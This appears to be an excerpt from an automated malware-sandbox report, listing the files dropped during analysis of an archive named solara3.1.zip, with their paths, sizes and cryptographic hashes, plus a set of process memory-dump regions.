95d9480b03d97e70d18c3ce51bb61f708343fcf11aa30aac2f8c474741769e58

SHA512
5aeb30c57ca0db22fa9253a1cfad1bfdeb7e514beef3d77c400dfbc1c5fb83401519408455c99da7942e9dabfb5ee22bc9c84a89881eec4942cbb6f77d92a335

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
de1cbc191bee1d162d00561785ff3e3f

SHA1
e65c6208aaeb730c3242fec9afbfe797fb464f66

SHA256
7eda0e7287adda6d5511bb314988c270a1ec05a6bd7fcbfab698ed7b4b195434

SHA512
af507d8a805f43842e87414b43c1a0f8973f3d663d2efeb0556b9d212741d159e2f0d0e0528588d9dba1278cca1efd37ab4d28c118c4424345191d0b016d2013

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
b8e88b76f96a92f42c998e528f1f579b

SHA1
4b4670f36f07e71e0f2f4b1a26f621c520961321

SHA256
3b40cfdd481daf73ab442892ace9a5657724ad13b7205c80eda87f84e6dd2cae

SHA512
017e2e069977fba42801446f6e99e858549e50b07bf1fa88ebce66602b88ba8101a70e0a2cfd6101e51ca6863206c4dfb770274f09bf2134b16cc8dc2fc1a6d3

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4om2bown.h2l.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\Downloads\solara3.1.zip

Filesize
93KB

MD5
067524d2b7c1e7575b1ff841b854e55e

SHA1
2253f3710d8641c262d232dcf31b9e8234c04026

SHA256
2df439e8c9ee999f550f555e938904fcc435aa9836fbb6c962c41d8b99002c50

SHA512
adb6e1dbe47a78e0c828b886a9d34d125e8fb7724d63d27a717fff878b399de12a1ca94d5c9f935c168aead1c0f1bed407e869bca9cab5aa0f85d651463e317a

Download Submit
C:\Users\Admin\Downloads\solara3.1.zip:Zone.Identifier

Filesize
156B

MD5
e178d2bcdf5e5fd05698e3fd1e15e5d0

SHA1
05f6091f60e31ab0c6be600a57b50af23ebd4101

SHA256
c20bb39e61bfe171dc9d5ecf29d7e8b1799afbab464a05dfd5221f96c8cd5d2e

SHA512
31b0d060071c158645ccea17b4582ae0b0b5071af044ac21231cf986274d3ba72529c04f36da4086ce05b838692f51af7da3eac7a1d5e579c65a9b7992dfdc21

Download Submit
memory/1784-216-0x000001E2534B0000-0x000001E2534D2000-memory.dmp

Filesize
136KB

Download
memory/3444-240-0x0000022FA14C0000-0x0000022FA14DE000-memory.dmp

Filesize
120KB

Download
memory/3444-236-0x0000022FA1520000-0x0000022FA1596000-memory.dmp

Filesize
472KB

Download
memory/3444-238-0x0000022FA15A0000-0x0000022FA15F0000-memory.dmp

Filesize
320KB

Download
memory/3444-210-0x0000022F86D40000-0x0000022F86D80000-memory.dmp

Filesize
256KB

Download
memory/3444-276-0x0000022FA1510000-0x0000022FA151A000-memory.dmp

Filesize
40KB

Download
memory/3444-277-0x0000022FA1610000-0x0000022FA1622000-memory.dmp

Filesize
72KB

Download